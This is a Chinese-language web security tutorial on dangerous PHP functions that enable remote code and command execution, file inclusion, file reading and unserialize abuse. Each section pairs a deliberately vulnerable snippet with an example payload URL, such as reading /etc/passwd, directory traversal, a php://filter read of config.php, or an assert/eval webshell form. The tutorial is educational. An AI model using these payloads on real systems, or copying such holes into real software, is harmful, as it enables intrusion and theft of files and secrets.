WEB安全--RCE--RCE的危险函数

一、命令执行

1.1、命令执行原理

<?php
$cmd = $_GET['cmd']; // 直接获取用户输入
system($cmd); // 不安全
?>#payload:
http://example.com/vuln.php?cmd=whoami#结果:
www-data

1.2、危险函数

1.2.1、system()

介绍:

执行外部命令,将命令的输出直接发送到标准输出(通常是浏览器),并返回命令输出的最后一行

利用手段:

<?php
$cmd = $_GET['cmd'];
system($cmd);
?>
//payload
http://example.com/vuln.php?cmd=ls
//output
index.php
config.php
.htaccess

 

1.2.2、exec()

介绍:

exec() 执行外部命令,将命令的输出存储在数组中,返回命令的返回值

利用手段:

<?php
exec($_GET['cmd'], $output);
echo implode("\n", $output);
?>
//payload
http://example.com/vuln.php?cmd=cat /etc/passwd
//output
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

1.2.3、shell_exec()

介绍:

shell_exec() 执行外部命令,返回命令输出的完整字符串(包含换行符)。

利用手段:

<?php
$output = shell_exec($_GET['cmd']);
echo "<pre>$output</pre>";
?>http://example.com/vuln.php?cmd=cat /etc/passwdroot:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

1.2.4、passthru()

介绍:

passthru() 执行命令,将原始输出直接传递给浏览器(适合处理二进制输出)。

利用手段:

<?php
passthru($_GET['cmd']);
?>http://example.com/vuln.php?cmd=cat /etc/passwdroot:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

 

1.2.5、popen()

介绍:

执行命令,返回进程指针,可读取/写入。

利用手段:

<?php
$handle = popen($_GET['cmd'], "r");
echo fread($handle, 4096);
pclose($handle);
?>http://example.com/vuln.php?cmd=whoami

1.2.6、proc_open()

介绍:

功能更强大,可控制进程输入/输出/错误流。

利用手段:

同上(popen)

1.2.7、backticks (\``)

介绍:

反引号语法 `cmd` 等价于 shell_exec()

利用手段:

shell_exec()相同。

 

二、代码执行

2.1、代码执行原理

以eval()为例:

<?php
$code = $_GET['code'];
eval($code);
?>
//payload
http://example.com/vuln.php?code=phpinfo();
//output
phpinfo:
php version ...

2.2、危险函数

2.2.1、eval()

介绍:

将传入的字符串解析为 PHP 代码 并执行。如果传入的内容不受控或未经过滤,可能导致任意代码执行。

利用手段:

 

2.2.2、assert()

介绍:

assert() 在 PHP 5.2.0 及以上版本可以动态执行表达式(类似 eval),如果表达式的结果为 false,则会报错。
在 PHP 7.0.0 之前,它能够直接执行 PHP 代码,因此 非常危险

补充:assert接收的参数为函数,一般代码不能直接执行,最好以assert(eval($_POST[123]))这样的形式。

利用手段:

<?php
$input = $_GET['input'];
assert($input);
?>input=system('whoami');www-data

2.2.3、preg_replace()

介绍:

preg_replace() 是 PHP 的正则表达式替换函数。在 PHP 5.5.0 之前,使用 /e 修饰符 可以将匹配的字符串作为 PHP 代码执行。

preg_replace(pattern, replacement, subject);

利用手段:

<?php
$input = $_GET['input'];
echo preg_replace('/.*/e', $input, 'test');
?>input=system('whoami')www-data

2.2.4、create_function()

介绍:

create_function() 创建一个匿名函数,但参数和函数体都是字符串,因此极易引发代码注入漏洞。

create_function('$args', 'return $args + 1;');

利用手段:

详情见:WEB安全--RCE--RCE的绕过-CSDN博客

 

三、文件包含/读取

3.1、文件包含

3.1.1、include()

介绍:

包含并执行指定文件,失败时仅抛出警告。

利用手段:

1、在上传的图片中写入木马,执行木马中的php恶意代码

2、命令执行:

<?php
$filename = $_GET['file'];
include($filename);
?>
//payload
http://example.com/vuln.php?file=/etc/passwd
//output
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

3.1.2、require()

介绍:

包含并执行指定文件,失败则中止脚本。

利用手段:

同上。

 

3.2、文件读取

3.2.1、file_get_contents()

介绍:

读取文件并将其内容作为字符串返回。

利用手段:

<?php
$filename = $_GET['file'];
echo file_get_contents($filename);
?>http://example.com/vuln.php?file=/etc/passwdroot:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

3.2.2、readfile()

介绍:

读取文件内容并直接输出到浏览器。

利用手段:

<?php
$file = $_GET['file'];
readfile($file);
?>http://example.com/vuln.php?file=/etc/passwdroot:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
//目录遍历
http://example.com/vuln.php?file=../../../../etc/passwd//搭配为协议
http://example.com/vuln.php?file=php://filter/convert.base64-encode/resource=config.php

四、反序列化

4.1、原理

在 PHP 中,序列化(Serialization) 是指将对象或数据结构转化为字符串格式,方便存储或传输。反序列化(Unserialization) 则是将序列化后的字符串还原为 PHP 对象或数据结构的过程。

而在数据进行反序列化时就会执行。

4.2、函数

4.2.1、serialize()  unserialize()

// 序列化
string serialize(mixed $value)// 反序列化
mixed unserialize(string $data, array $options = [])

4.2.2、漏洞利用

<?php
$data = $_GET['data'];
unserialize($data);
?>http://example.com/vuln.php?data=O:4:"Test":1:{s:4:"prop";s:4:"id";}uid=33(www-data) gid=33(www-data) groups=33(www-data)

 

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/76157.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux C++ 利用 io_uring 技术批量读取 tun 文件描述符的数据。

以下是参考的实现代码&#xff0c;IO_URING 操作必须要进行按页大小对齐&#xff08;仅在O_DIRECT直接I/O下&#xff09;&#xff0c;不能是非对称的&#xff0c;一般大多数操作系统页大小为&#xff1a;4KB。 批量读取、writev 批量简写。 static constexpr int MTU ITap::M…

时序数据库:InfluxDB命令行操作

学习 InfluxDB 的命令行操作至关重要&#xff0c;它不仅是与数据库直接交互的工具&#xff0c;也是理解 InfluxDB 核心概念的关键途径。通过命令行&#xff0c;用户可以高效地执行数据库管理、数据查询和插入等任务&#xff0c;深入掌握 InfluxQL 的语法及功能。这对于调试、快…

Bootstrap 表格:高效布局与动态交互的实践指南

Bootstrap 表格:高效布局与动态交互的实践指南 引言 Bootstrap 是一个流行的前端框架,它为开发者提供了丰富的组件和工具,使得构建响应式、美观且功能丰富的网页变得更加简单。表格是网页中常见的元素,用于展示数据。Bootstrap 提供了强大的表格组件,可以帮助开发者轻松…

⑥ ACG-系统管理

上网管理行为是指对员工在工作时间内使用公司网络的行为进行管理和监督。在企业中&#xff0c;系统管理是实施上网管理行为的重要方式之一。系统管理包括以下几个方面&#xff1a; 1. 访问控制&#xff1a;通过设置网络访问权限&#xff0c;对员工访问特定网站或使用特定应用程…

【Docker】Dockerfile 优化工具 hadolint

本文内容均来自个人笔记并重新梳理&#xff0c;如有错误欢迎指正&#xff01; 如果对您有帮助&#xff0c;烦请点赞、关注、转发、订阅专栏&#xff01; 专栏订阅入口 | 精选文章 | Kubernetes | Docker | Linux | 羊毛资源 | 工具推荐 | 往期精彩文章 【Docker】&#xff08;全…

接口自动化——初识pytest

缩写单词含义.passed通过Ffailed失败&#xff08;用例执行时报错&#xff09;Eerror出错&#xff08;fixture执行报错&#xff09;sskipped跳过Xxpassed预期外的通过&#xff08;不符合预期&#xff09;xxfailed预期内的失败&#xff08;符合预期&#xff09; 1.pytest 配置 1…

leetcode日记(100)填充每个节点的下一个右侧节点指针

和层序遍历差不多的思路&#xff0c;将节点储存在队列里&#xff0c;一边取出节点一边放入取出节点的左右节点&#xff0c;直到队列空。 /* // Definition for a Node. class Node { public:int val;Node* left;Node* right;Node* next;Node() : val(0), left(NULL), right(NU…

MySQL配置文件my.cnf详解

目前使用的服务器系统是CentOS8.5 ,针对MySql8.4的配置示例&#xff0c;自己根据实际情况修改。 安装MySql8.4时&#xff0c;MySql8.4没有默认的my.cnf,需要用户根据需要自行配置my.cnf文件&#xff0c;大概可看到下面这样的参数列表&#xff0c;可能不同版本的mysql参数多少会…

【解决】XCode不支持旧版本的iOS设备

办法&#xff1a; 手动添加设备支持文件&#xff08;暂时解决方式&#xff09; 如果您无法立即升级 Xcode&#xff0c;也可以通过下载设备支持文件来暂时解决问题。 检查当前设备的 iOS 版本&#xff1a; 连接设备到 Mac&#xff0c;打开 Xcode 查看提示的 iOS 版本。例如&…

每日c/c++题 备战蓝桥杯(全排列问题)

题目描述 按照字典序输出自然数 1 到 n 所有不重复的排列&#xff0c;即 n 的全排列&#xff0c;要求所产生的任一数字序列中不允许出现重复的数字。 输入格式 一个整数 n。 输出格式 由 1∼n 组成的所有不重复的数字序列&#xff0c;每行一个序列。 每个数字保留 5 个场…

注意力蒸馏技术

文章目录 摘要abstract论文摘要简介方法预备知识注意力蒸馏损失注意力引导采样 实验结论总结参考文献 摘要 本周阅读了一篇25年二月份发表于CVPR 的论文《Attention Distillation: A Unified Approach to Visual Characteristics Transfer》,论文开发了Attention Distillation…

flutter android端抓包工具

flutter做的android app&#xff0c;使用fiddler抓不了包&#xff0c;现介绍一款能支持flutter的抓包工具Reqable&#xff0c;使用方法如下&#xff1a; 1、下载电脑端安装包 下载地址为【https://reqable.com/zh-CN/download/】 2、还是在上述地址下载 android 端apk&#xf…

PyTorch单机多卡训练(DataParallel)

PyTorch单机多卡训练 nn.DataParallel 是 PyTorch 中用于多GPU并行训练的一个模块&#xff0c;它的主要作用是将一个模型自动拆分到多个GPU上&#xff0c;并行处理输入数据&#xff0c;从而加速训练过程。以下是它的核心功能和工作原理&#xff1a; 1、主要作用 数据并行&am…

PyTorch中的Tensor

PyTorch中的Tensor‌ 是核心数据结构&#xff0c;类似于 NumPy 的多维数组&#xff0c;但具备 GPU 加速和自动求导等深度学习特性。 一、基本概念 ‌核心数据结构‌ Tensor 是存储和操作数据的基础单元&#xff0c;支持标量&#xff08;0D&#xff09;、向量&#xff08;1D&am…

基于Python的图书馆信息管理系统研发

标题:基于Python的图书馆信息管理系统研发 内容:1.摘要 在数字化信息快速发展的背景下&#xff0c;传统图书馆管理方式效率低下&#xff0c;难以满足日益增长的信息管理需求。本研究旨在研发一款基于Python的图书馆信息管理系统&#xff0c;以提高图书馆信息管理的效率和准确性…

RCE复现

1.过滤flag <?php error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match("/flag/i", $c)){eval($c);}}else{highlight_file(__FILE__);代码审计过滤了"flag"关键词&#xff0c;但限制较弱&#xff0c;容易绕过 ?csystem("ls&…

FPGA_YOLO(四) 部署yolo HLS和Verilog 分别干什么

首先,YOLO作为深度学习模型,主要包括卷积层、池化层、全连接层等。其中,卷积层占据了大部分计算量,尤其适合在FPGA上进行并行加速。而像激活函数(如ReLU)和池化层相对简单,可能更容易用HLS实现。FPGA的优势在于并行处理和定制化硬件加速,因此在处理这些计算密集型任务时…

自动化发布工具CI/CD实践Jenkins介绍!

1. 认识Jenkins 1.1 Jenkins是什么&#xff1f; Jenkins 是一个开源的自动化服务器&#xff0c;主要用于持续集成和持续部署&#xff08;CI/CD&#xff09;。 它由Java编写&#xff0c;因此它可以在Windows、Linux和macOS等大多数操作系统上运行。 Jenkins 提供了一个易于使用…

【愚公系列】《高效使用DeepSeek》039-政务工作辅助

🌟【技术大咖愚公搬代码:全栈专家的成长之路,你关注的宝藏博主在这里!】🌟 📣开发者圈持续输出高质量干货的"愚公精神"践行者——全网百万开发者都在追更的顶级技术博主! 👉 江湖人称"愚公搬代码",用七年如一日的精神深耕技术领域,以"…

深度学习篇---模型训练评估参数

文章目录 前言一、Precision&#xff08;精确率&#xff09;1.1定义1.2意义1.3数值接近11.4数值再0.5左右1.5数值接近0 二、Recall&#xff08;召回率&#xff09;2.1定义2.2意义2.3数值接近12.4数值在0.5左右2.5数值接近0 三、Accuracy&#xff08;准确率&#xff09;3.1定义3…